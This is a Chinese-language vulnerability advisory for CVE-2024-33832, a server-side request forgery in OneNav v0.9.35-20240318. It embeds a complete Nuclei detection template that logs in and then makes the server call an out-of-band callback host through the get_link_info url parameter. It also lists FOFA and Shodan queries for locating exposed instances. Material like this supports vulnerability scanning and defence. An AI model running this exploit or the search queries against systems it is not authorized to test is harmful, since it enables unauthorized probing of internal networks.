OneNav Server-Side Request Forgery (SSRF) Vulnerability

漏洞信息

漏洞名称： OneNav Server-Side Request Forgery (SSRF) Vulnerability

漏洞编号：

• CVE： CVE-2024-33832

漏洞类型： 服务器端请求伪造

漏洞等级： 中危

漏洞描述： OneNav是一款开源的导航网站系统，旨在帮助用户管理和快速访问常用网站。它通常被个人用户和小型企业用于组织和管理网站链接，因其简洁的界面和易用性而受到欢迎。该系统的v0.9.35-20240318版本存在服务器端请求伪造（SSRF）漏洞，攻击者可以通过get_link_info API中的url参数，强制服务器发起任意请求。这种漏洞的根源在于系统未能充分验证用户提供的URL，导致攻击者可以绕过访问控制，访问内部网络资源。由于SSRF漏洞允许攻击者从服务器端发起请求，这可能被用来探测内部网络、访问受限资源或与其他内部服务交互，从而可能导致敏感信息泄露或进一步的攻击。此漏洞需要攻击者具有有效的用户凭证才能利用，属于认证后的漏洞利用。尽管需要认证，但一旦利用成功，其影响范围可能相当广泛，特别是如果服务器位于内部网络中，可以访问敏感数据或服务的情况下。

产品名称： OneNav

影响版本： v0.9.35-20240318

搜索语法： title=”onenav”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/10daa8c78461ef757b326741bf985817c2e0941c/http%2Fcves%2F2024%2FCVE-2024-33832.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2024-33832

info:
  name: OneNav v0.9.35-20240318 - Server-Side Request Forgery (SSRF)
  author: ritikchaddha
  severity: medium
  description: |
    OneNav v0.9.35-20240318 is vulnerable to server-side request forgery (SSRF) via the url parameter in the get_link_info API. An attacker can force the server to make arbitrary requests, potentially accessing internal resources.
  reference:
    - https://github.com/Hebing123/cve/issues/39
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33832
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.5
    cve-id: CVE-2024-33832
    cwe-id: CWE-918
  metadata:
    max-request: 2
    product: onenav
    fofa-query: title="onenav"
    shodan-query: title:"onenav"
  tags: cve,cve2024,ssrf,onenav,oast,authenticated

http:
  - raw:
      - |
        POST /index.php?c=login&check=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        user={{username}}&password={{password}}

      - |
        POST /index.php?c=api&method=get_link_info HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        url=http://{{interactsh-url}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - 'title":'
          - 'description":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"